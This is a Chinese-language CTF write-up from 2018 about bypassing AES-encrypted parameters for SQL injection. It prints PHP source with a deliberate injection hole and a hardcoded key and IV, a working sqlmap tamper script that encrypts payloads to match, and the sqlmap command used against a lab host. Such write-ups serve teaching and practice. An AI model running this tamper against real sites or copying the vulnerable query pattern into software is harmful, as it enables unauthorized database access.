@Time: 2018/11/21
前言:
大家应该都知道,SQLMAP是一款注入神器,大多数遇到的SQL注入都可以用它来搞定,而且他是开源的,因此我们也可以编写一些tamper来应对遇到的问题,因为自己写脚本注入实在是太慢了ummmmm
环境:
这里的话,就借用前两天在湖湘杯中遇到的环境,因为比赛的时候有down注入点的源码,其他的index或者数据库都是按照自己的心情乱写的 :)
这里是用的是win7+phpstudy,附上注入点的源码(这里echo id是我加的。方便观看到效果)
<?php
header('content-type:text/html;charset=utf-8');
require_once './config.php';
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-7)!=='hxb2018'){
echo "the aes decode is not good!";
}else{
return substr(trim($data),0,strlen(trim($data))-7);
}
}
$id=decode($_GET['id']);
echo $id;
$sql="select id,title,content from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>
分析:
这里是正常的页面,可以看到有一个参数id,但是貌似这里的值是被加密的,无法一眼看出来是什么,但是我们可以看到源码,提取到一些我们需要的信息。
这里的话,传进来的参数id,首先会被执行decode函数,然后得到的id再进行sql查询操作,我们再看看decode函数
熟悉AES的兄弟应该能看出来了吧,这里是CBC模式的AES加密,已经给了key和iv值,得到的结果会base64加密两次,最后检验字符串尾部的7位是否等于hxb2018,等于就会返回除却hxb2018外的字符。
现在我们有了如下信息:
1.AES算法
mode: CBC
key: ydhaqPQnexoaDuW3
iv: 2018201920202021
2.base64*2
3.str[:-7] !== 'hxb2018'
接下来我们就可以写一个AES的加密算法,利用python当然快啦~
key = 'ydhaqPQnexoaDuW3'
iv = '2018201920202021'
cryptor = AES.new(key,AES.MODE_CBC,iv)
padding = lambda x: x + (16-(len(x)%16 or 16))*'\0'
plain = padding(text)
cipher = cryptor.encrypt(plain)
在加密之前要记得将'hxb2018'加进去,之后base64加密即可~
贴上我的tamper代码:
from Crypto.Cipher import AES
from base64 import b64encode
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload,**kwargs):
return encrypt(payload)
def encrypt(text):
text = text+'hxb2018'
key = 'ydhaqPQnexoaDuW3'
iv = '2018201920202021'
cryptor = AES.new(key,AES.MODE_CBC,iv)
padding = lambda x: x + (16-(len(x)%16 or 16))*'\0'
plain = padding(text)
cipher = cryptor.encrypt(plain)
result = b64encode(b64encode(cipher))
return result
其中的 PRIORITY 是设置优先级,然后dependencies()是保持脚本整体结构一致(说实话我也不知道干嘛的,,直接按照他的pass就好啦),
写完之后,将其放在kali下面的 /usr/share/sqlmap/tamper 下就好了
最后试验一下~
sqlmap -u "http://192.168.10.200/myweb/sqlInjection/aes_tam/list.php?id=1" --tamper=AES_Tamper.py --dbs --batch
看得出,注入成功了
不过在之前的时候,我sqlmap的语句中,id参数没有写值,就没有成功,也不知道是啥原因,
啊,原因找到了,是我太菜了ummmm
END:)